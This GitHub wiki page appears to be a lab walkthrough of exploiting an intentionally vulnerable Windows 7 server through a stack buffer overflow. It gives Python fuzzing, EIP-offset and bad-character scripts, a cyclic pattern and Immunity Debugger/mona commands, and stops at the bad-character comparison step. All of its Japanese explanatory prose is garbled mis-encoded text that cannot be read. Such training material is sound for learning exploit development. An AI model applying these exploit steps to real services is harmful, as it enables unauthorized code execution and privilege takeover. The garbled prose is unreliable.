Buffer_Over_Flow - yokohama/oreshic-record GitHub Wiki
Date: 2023-05-16 17:53:00
Windows7äžã§çšŒåããæå³çã«ãããã¡ãªãŒããŒãããŒã®è匱æ§ããããããµãŒããŒã¢ããªããAdministratoræš©éãåãã
- äžã®äžã§å ¬éãããŠããWindowsçšã®ãµãŒããŒã¢ããªããããšä»®å®ïŒããã¯æå³çã«äœã£ããã®ïŒã
- ãµãŒããŒã¢ããªã¯å®è¡ãã¡ã€ã«ãšããŠå ¬éãããŠããããœãŒã¹ã³ãŒãã¯å ¬éãããŠããªãã
- ãµãŒããŒã¢ããªãããŠã³ããŒãããŠããŠãããŒã«ã«ã®Windowsäžã§ãµãŒããŒãšããŠèµ·åããã
- ãµãŒããŒã«æ¥ç¶ããã¯ã©ã€ã¢ã³ãã«ã¯Kaliã䜿çšããã
- ãã®ç¶æ³ã§ãµãŒããŒã¢ããªã®ç®¡çè æš©éãååŸããããã®ã·ã§ã«ã³ãŒããäœæããã

- Windows7 Home 32bitïŒIP: 10.10.180.248ïŒ
- Immunity Debugger v1.85
- mona 2.0 r605
- python 2.7.1
- è匱æ§ã®ãããµãŒããŒã¢ããª
- KaliïŒIP: 10.6.65.109ïŒ
- python 3.11.2
ã·ã§ã«ã³ãŒããå®è¡ãããããã«ãEIPã®æžæãšãã¹ã¿ãã¯ã®æžãæããè¡ãªããŸãã
ã¬ãžã¹ã¿ãŒ
- EIPã«ãã¡ã¢ãªå ã«ESPãæãJMPåœä»€ãååšããã¢ãã¬ã¹ãå ¥ããããã®ã¢ãã¬ã¹ã¯Imunitty Debuggerã䜿çšããŠåŸã»ã©æ¢ããŸãã
- ãJMP ESPãåœä»€ãšã¯ãEIPãESPã®å€ã«èšå®ããåœä»€ã
- ã³ã¬ãå®è¡ãããäºã«ãããESPã®åŠçãå®è¡ãããã
ã¹ã¿ãã¯
- EIPã®å 容ãäžèšã®æ§ã«æžãæãããšåæã«ãã¹ã¿ãã¯ã以äžã®ç¶æ ã«æžãæããã
- NOPåœä»€ããå§ãŸãã·ã§ã«ã³ãŒãããã¹ã¿ãã¯ã®TOPïŒèŠã¯ESPïŒããå ¥ã£ãŠããããã«ããã

- ãµãŒããŒã¢ããªãèµ·åããŠKaliïŒã¯ã©ã€ã¢ã³ãïŒããçéãšåäœã®ç¢ºèª
- Immunity Debuggerã®Monaã®åæå
- Kaliããé©åœãªé·ãæååãéä¿¡ããŠãªãŒããŒãããŒãããªãã»ããã®ç¢ºèª
- ã·ã§ã«ã³ãŒããäœæããéã«ãµãŒããŒã®ã¡ã¢ãªäžã§äœ¿çšããããšãåºæ¥ãªããã€ããªã®æŽç
- 䜿çšããäºãåºæ¥ãªããã€ããªã䜿çšããªãã§ãã·ã§ã«ã³ãŒããäœæ
- ã·ã§ã«ã³ãŒããå®è¡ãããããã«ãEIPã«JMP ESPã®åœä»€ã®ã¢ãã¬ã¹ãã»ãã
- NOPã®èšå®
- Administratoræš©éãKaliäžãã奪å
- Windowsäžã§Immunity Debuggerãéããã
- ããã«ãµãŒããŒã¢ããªã®å®è¡ãã¡ã€ã«ããã©ãã°ã¢ã³ãããããã
- Immunity Debuggerã§ãµãŒããŒã¢ããªãå®è¡ïŒåçãã¿ã³ïŒã
- ãããããšã³ã³ãœãŒã«äžã«ã¡ãã»ãŒãžãåºãŠãPort 1337ã§å ¥åãåãä»ããŠããããšãè§£ãã

次ã«KaliåŽããããµãŒããŒã«æ¥ç¶ããŠåäœç¢ºèªãããŠèŠãã
$ nc -vn 10.10.180.248 1337
(UNKNOWN) [10.10.180.248] 1337 (?) open
Welcome to OSCP Vulnerable Server! Enter HELP for help.
ã€ãªãã£ããHELPã³ãã³ããæãŠãšèšã£ãŠããã
HELP
Valid Commands:
HELP
OVERFLOW1 [value]
OVERFLOW2 [value]
OVERFLOW3 [value]
OVERFLOW4 [value]
OVERFLOW5 [value]
OVERFLOW6 [value]
OVERFLOW7 [value]
OVERFLOW8 [value]
OVERFLOW9 [value]
OVERFLOW10 [value]
EXIT
ãã®ãµãŒãã§äœ¿ããã³ãã³ãäžèЧãåºãŠããã
ã¡ãªã¿ã«ãWindowsåŽã§ã®ãµãŒããŒã¢ããªã®ã³ã³ãœãŒã«ã«ã¯ãããªæãã®ã¡ãã»ãŒãžãåºãŠããã

ã¬ã·ãŒãããŠãŸããã£ãŠããšã§ããã
KaliåŽã§ã³ãã³ããæã€ã
OVERFLOW1 test
OVERFLOW1 COMPLETE
OVERFLOW1 testãšå ¥åãããã³ã³ããªãŒããããã£ãŠã¡ãã»ãŒãžãè¿ã£ãŠããã
äœãããŠããã¢ããªãªã®ãã¯ããããªãããã¯ã©ã€ã¢ã³ããããããã¯ãŒã¯è¶ãã«æåãåãä»ããŠãããšããããšãè§£ã£ãã®ã§ååã§ãã
ãµãŒããŒã¢ããªã®ãã€ããªè§£æã¯ãImmunity Debuggerãšãã©ã°ã€ã³ã®Monaã䜿çšããŠãããŸããããã§ãMonaã®äœæ¥ãã©ã«ãã®åæåãããŠãããŸãããã
Immunity Debuggerãéã以äžã®ã³ãã³ããæã¡ãŸãã
!mona config -set workingfolder c:\mona\%p

ãããããšä»¥äžã®ããã«ãäœæ¥ãã«ããèšå®ãããŸãã

ã³ã¬ã§åæåã¯å®äºã§ãã
3. Kaliããé©åœãªé·ãæååãéä¿¡ããŠãªãŒããŒãããŒãããªãã»ããã®ç¢ºèª
äœæåéã£ãããªãŒããŒãããŒããã確èªãããŸãã
fuzzer.py
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.180.248"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
WindowsåŽã®Immunity Debuggerã§ãµãŒããŒã¢ããªãåèµ·åããŠãKaliããã¹ã¯ãªãããå®è¡ããŸãã
$ python3 fuzzer.py
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzing with 1900 bytes
Fuzzing with 2000 bytes
Fuzzing crashed at 2000 bytes
1900bytesãŸã§ã¯OKã§ã2000bytesã§ãšã©ãŒãåºãŸããã
WindowsåŽã¯ãããªæãã

EIPãã41414141ïŒAAAAïŒã«æžãæãã£ãŠããŸãããŸããã¹ã¿ãã¯ã®äžèº«ãããæãã§ãAAAAã«ãªã£ãŠããŸãã
ããããã®ãŸãŸã§ã¯ãã©ã®AAAãEIPãã¹ã¿ãã¯ã«å ¥ã£ãŠããããè§£ãããŸããããµãŒããŒéã£ãæååïŒAAAAã®é£ç¶ïŒã®äœæåç®ããEIPã§ãããã®ãªãã»ããå€ã調ã¹ãŠãããŸãã
ä»åã¯Aã ãã§ã¯ãªããŠãã¿ãŒã³åãããæåãäœæããŸãã
msf-pattern_create.rb -l 2400
2400ã¯ã1ã€åã®fuzzer.pyãå®è¡ããéã«ã2000byteã§ãªãŒããŒãããŒããŠããŸããããã®æ°ãããå€ãã«èšå®ãããŠããŸãã
ãããããšä»¥äžã®æååãçæãããŸãã
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9
ã³ã¬ã䜿ã以äžã®ãããªã³ãŒãïŒoffset.pyïŒãäœããŸãã
#!/usr/bin/env python3
import socket
ip = '10.10.180.248'
port = 1337
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy'
string = "OVERFLOW1 " + pattern
with socket.socket() as s:
s.connect((ip, port))
print("sending pattern")
s.send(bytes(string, 'latin-1'))
å®è¡ããŸãã
$ python3 offset.py
Immunity Debuggerã§ã¯ã¬ãžã¹ã¿ã以äžã®ããã«ãªããŸããã

ã6F43396Eããšå ¥ã£ãŠããŸãããbytesã§éã£ãŠããã®ã§ããã¯ïŒïŒé²æ°ã§ããããããASCIIã³ãŒãã§ç¢ºèªãããŠããŸãã
https://www.k-cube.co.jp/wakaba/server/ascii_code.html
ãããããšã以äžã®ãã£ã©ã¯ã¿ã«ãªã£ãŠããŸãã
6F = oã43 = Cã39 = 9ã6E = n
ãoC9nãã§ããããããããã¯ãªãã«ãšã€ãã£ã¢ã³ã§ãã€ããéã«ãªã£ãŠããã®ã§ããn9Coããšèªã¿ãŸãããã®æååãå çšçæããæååã®äœåŠãã«ããã¯ãã§ãã
ç®ã§æ¢ãã®ã¯é¢åãªã®ã§ã以äžã®ã³ãã³ãã§çç¥ããŸãã
$ msf-pattern_offset -l 2400 -q 6F43396E
[*] Exact match at offset 1978
ãªãã»ããå€ããã1978ãã§ãããšäžçºã§è§£ããŸãã
ã§ã¯ãå®éã«ãªãã»ããã䜿çšããŠãESIã«çã£ãæåãå ¥ããã詊ããŠã¿ãŸãã
以äžã«ããbadchars.pyããçšæããŸããã
#!/usr/bin/env python3
import socket
ip = "10.10.180.248"
port = 1337
string = "OVERFLOW1 " + 1978*"A" + 4*"B"
with socket.socket() as s:
s.connect((ip, port))
print("sending pattern")
s.send(bytes(string, 'latin-1'))
ããã¯ããµãŒããŒã«åããŠããOVERFLOW1 AAAAAã»ã»ïŒå šéšã§1978åïŒã»ã»AAAABBBBããšèšãæååãéããŸãã
å®è¡ã
python3 badchars.py
Immunity Debuggerã§ã¯ä»¥äžã®ããã«è¡šç€ºãããŠããŸãã

æå³ãããšããããªãã»ãããAã§åãå°œãããŠãEIPã«ã42424242ïŒBBBBïŒãå ¥ããŸãããæ¬æ¥ããã«ã¯ãã¢ããªã䜿çšããã¡ã¢ãªäžã«ååšããJMP ESPåœä»€ãååšããã¢ãã¬ã¹ãå ¥ããŸãããä»ã¯ã³ã¬ã§ããã§ãã
4. ã·ã§ã«ã³ãŒããäœæããéã«ãµãŒããŒã®ã¡ã¢ãªäžã§äœ¿çšããããšãåºæ¥ãªããã€ããªã®æŽç
ãµãŒããŒäžã§å®è¡ãããã·ã§ã«ã³ãŒãã®ã¯ã©ããã«å ¥ããŸãã
- ã·ã§ã«ã³ãŒãã¯ãã€ããªã§ãã
- ãããPCã®ã¡ã¢ãªäžã§ã¯äœ¿çšã§ããªããã€ããæããŸããäŸãã°ã\x00ïŒNULLãã€ãïŒãšãã
- ãã®æ§ãªäœ¿çšã§ããªããã€ããã·ã§ã«ã³ãŒãã«å«ããŠããŸããšãã·ã§ã«ã³ãŒããšããŠæ©èœããŸããã
- ä»å察象ã®ãµãŒããŒã¢ããªã§ã¯ã©ã®æ§ãªãã€ãã䜿çšã§ããªããã確èªããŠãã·ã§ã«ã³ãŒããäœãéã«é€å€ããå¿ èŠãæããŸãã
ããã§ã®äœæ¥ã®æµãã¯ããµãŒããŒã¢ããªã®ã¡ã¢ãªäžã§äœ¿çšã§ããªããã€ãã調ã¹ãããšã§ããæé ã¯ãããªæãã§ãã
- Monaã§ããµãŒããŒã¢ããªäžã§äœ¿çšã§ãããã€ãäžèЧã®è¡šãäœãMonaã®äœæ¥ãã©ã«ãã«ä¿åããã
- Kaliã§ãå šãã€ãã®çµåããäœæããŠããããµãŒããŒã«éãã
- Monaã§ã¹ã¿ãã¯ã®äžããKaliãéã£ããã€ãåãšã1ã§äœæãããµãŒããŒã¢ããªäžã§äœ¿çšã§ãããã€ãäžèŠ§ãæ¯èŒããŠã䜿ããªãæåã調æ»ããã
ã§ã¯ãŸããMonaã䜿çšããŠäœ¿çšã§ãããã€ãäžèЧãäœæããŸãã
以äžã®ã³ãã³ããå®è¡ããŸãã
!mona bytearray -b "\x00"
\x00ã¯NULLãã€ãã§ããNULLãã€ãã¯ãããã䜿çšã§æ¥ãªãã®ã§ãã-bããªãã·ã§ã³ã䜿çšããŠäžèЧããçããŸãã

ãããããšæåã«äœæããMonaã®äœæ¥ãã©ã«ãã«ããŒãã«ãäœæãããŸããä»åã®å Žåã¯ãã C:\monaãã®äžã§ãã

bytearray.txtã®äžèº«ã¯ãããªæã

ãšããããæåã®ãã€ãåã®é圢ã¯äœæã§ããŸãããæ¬¡ã¯Kaliã§åãæååãäœæããŠããµãŒããŒã«éãã€ããŠã¿ãŸãã
ãcreate.pyããçšæããŸãã
#!/usr/bin/env python3
from __future__ import print_function
bad = "00".split()
print("badchars = ", end='')
for x in range(1, 256):
if "{:02x}".format(x) not in bad:
print("\\x" + "{:02x}".format(x), end='')
print("\n\nfor mona")
for byte in bad:
print("\\x{}".format(byte), end='')
print()
4è¡ç®ã®badã«ã¯ããããã䜿ããªããšè§£ã£ãŠããã\x00ããçãããã«æå®ããŠããŸãã
å®è¡ããŸãã
$ python3 create2.py
badchars = \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
for mona
\x00
äžã«è¡šç€ºãããŠãããfor monaãã¯ã䜿çšã§ããªããã€ãã§ãã
ãã®badcharsãå çšã®ãbadchars.pyããéã貌ãä»ããŸãã
#!/usr/bin/env python3
import socket
ip = '10.10.180.248'
port = 1337
badchar = "\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
string = "OVERFLOW1 " + 1978*"A" + 4*"B" + badchar
with socket.socket() as s:
s.connect((ip, port))
print("sending pattern")
s.send(bytes(string, 'latin-1'))
ãŸãã倪æåã®ã + badcharãã远å ããŠããŸãã
å®è¡ããŸãã
$ python3 badchars.py
Immunity Debuggerã¯ä»¥äžã®ããã«ãªããŸãããESPã®äžèº«ããFllow in Dumpãã§èŠãŠã¿ãŸãã

ãããããšã¹ã¿ãã¯ã®TOPããå çšéã£ããã€ãåãå ¥ã£ãŠããŸããïŒ\x01\x02\x03\x04\ã»ã»ã»ïŒ

ã§ã¯ããã§Kaliããéã£ããã€ãåãæååãïŒéãæåã«ãªã£ãŠããŸã£ãŠãªããïŒïŒã確èªããŸãã以äžã®ã³ãã³ããæã¡ãŸãã
!mona compare -f C:\mona\oscp\bytearray.bin -a esp
-fã§æå®ãããã¡ã€ã«ïŒå ã»ã©äœæããåæå€ã®äžèЧïŒãšã-a ã§æå®ããã¢ãã¬ã¹ã®å 容ïŒä»åã¯espãšååãæå®ïŒãæ¯èŒããŠå£ããŠããŸã£ãŠããæåãç¡ããã確èªããŸãã

